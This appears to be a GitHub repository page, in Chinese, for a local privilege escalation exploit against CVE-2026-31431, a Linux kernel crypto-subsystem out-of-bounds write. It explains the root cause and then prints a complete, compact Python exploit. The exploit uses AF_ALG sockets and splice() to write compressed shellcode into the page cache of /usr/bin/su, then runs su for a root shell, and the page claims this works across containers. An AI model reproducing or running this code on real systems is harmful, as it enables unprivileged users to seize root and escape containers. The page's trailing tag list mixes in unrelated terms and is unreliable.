dgrobinson0/CopyFile_CVE-2026-31431

GitHub: dgrobinson0/CopyFile_CVE-2026-31431

利用 Linux 内核加密子系统越界写入缺陷实现本地提权的极简 Python 漏洞利用代码。

Stars: 1 | Forks: 0

# CopyFile_CVE-2026-31431 [![en](https://img.shields.io/badge/lang-en-red.svg)](https://github.com/dgrobinson0/CopyFile_CVE-2026-31431/blob/master/README.en.md) [![es](https://img.shields.io/badge/lang-es-yellow.svg)](https://github.com/dgrobinson0/CopyFile_CVE-2026-31431/blob/master/README.md) # 复制错误 (CVE-2026-31431) – 本地提权漏洞利用 ## 漏洞概述 **CVE-2026-31431** 是 Linux 内核加密子系统中的一个漏洞,具体存在于 `authencesn` 模板(带有扩展序列号的 AEAD)与 `AF_ALG` 套接字接口及 `splice()` 系统调用的结合处。 - **根本原因**:`authencesn` 的解密例程将目标分散列表用作临时空间,向合法输出区域之外写入了 4 个字节。 当 `AF_ALG` 执行 **原位**(in-place)AEAD 操作,且 `splice()` 提供页缓存页(例如来自 setuid 二进制文件)作为身份验证标签时,越界写入会直接落在该文件在内核中的缓存副本上。 - **影响**:无特权的本地攻击者可以覆写其能够读取的任何文件中按 4 字节对齐的任意位置。这种破坏仅发生在**页缓存**中;磁盘上的文件保持不变,从而绕过了文件完整性检查。 - **危害**:通过使用 shellcode 覆写 setuid 二进制文件(例如 `/usr/bin/su`),攻击者可以执行该二进制文件并获得 root shell。同样的攻击原语可跨不同容器工作,因为页缓存是与宿主机共享的。 ## 漏洞利用代码 (`exploi-copyfail.py`) 该漏洞利用程序是一个 732 字节的 Python 脚本,仅使用标准库(`os`、`socket`、`zlib`)。它适用于任何具有 2017 至 2026 年(补丁发布前)内核版本的 Linux 发行版。 ``` #!/usr/bin/env python3 import os as g, zlib, socket as s def d(x): return bytes.fromhex(x) def c(f, t, c): a = s.socket(38, 5, 0) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) h = 279 v = a.setsockopt v(h, 1, d('0800010000000010' + '0' * 64)) v(h, 5, None, 4) u, _ = a.accept() o = t + 4 i = d('00') u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768) r, w = g.pipe() n = g.splice n(f, w, o, offset_src=0) n(r, u.fileno(), o) try: u.recv(8 + t) except: 0 f = g.open("/usr/bin/su", 0) i = 0 e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i < len(e): c(f, i, e[i:i + 4]) i += 4 g.system("su") ``` ## 工作原理 - **设置:** 打开一个绑定到 authencesn(hmac(sha256),cbc(aes)) 的 AF_ALG 套接字,设置一个虚拟密钥并接受一个请求。 - **载荷:** shellcode(从十六进制数据块解压而来)被分割为 4 字节的片段。 - **破坏循环:** 对于每个片段: - `sendmsg()` 提供关联认证数据(AAD)。AAD 的第 4 到 7 字节包含了要写入的 4 个字节。 - `splice()` 将 `/usr/bin/su`(目标 setuid 二进制文件)的一部分插入到套接字的 TX 分散列表中。偏移量和长度的选择确保身份验证标签区域恰好位于该二进制文件 `.text` 段内的目标地址。 - `recv()` 触发 AEAD 解密,`authencesn` 将 4 字节的片段写入 `/usr/bin/su` 的页缓存中。HMAC 校验会失败,但写入操作会持续保留。 - **执行:** 写入所有片段后,脚本执行 `su`。由于缓存版本现在包含 shellcode,`su` 将以 root 权限运行并打开一个 shell。
标签:AF_ALG, Copy Fail, CVE-2026-31431, Linux内核漏洞, LPE, PoC, Python, setuid提权, splice系统调用, Web报告查看器, 内存损坏, 内核漏洞利用, 协议分析, 密码子系统, 攻击路径可视化, 数据展示, 无后门, 暴力破解, 本地提权, 权限提升, 漏洞分析, 漏洞利用代码, 红队, 缓冲区溢出, 网络安全, 越界写入, 跨容器攻击, 路径探测, 逆向工具, 隐私保护, 页缓存污染, 黑客工具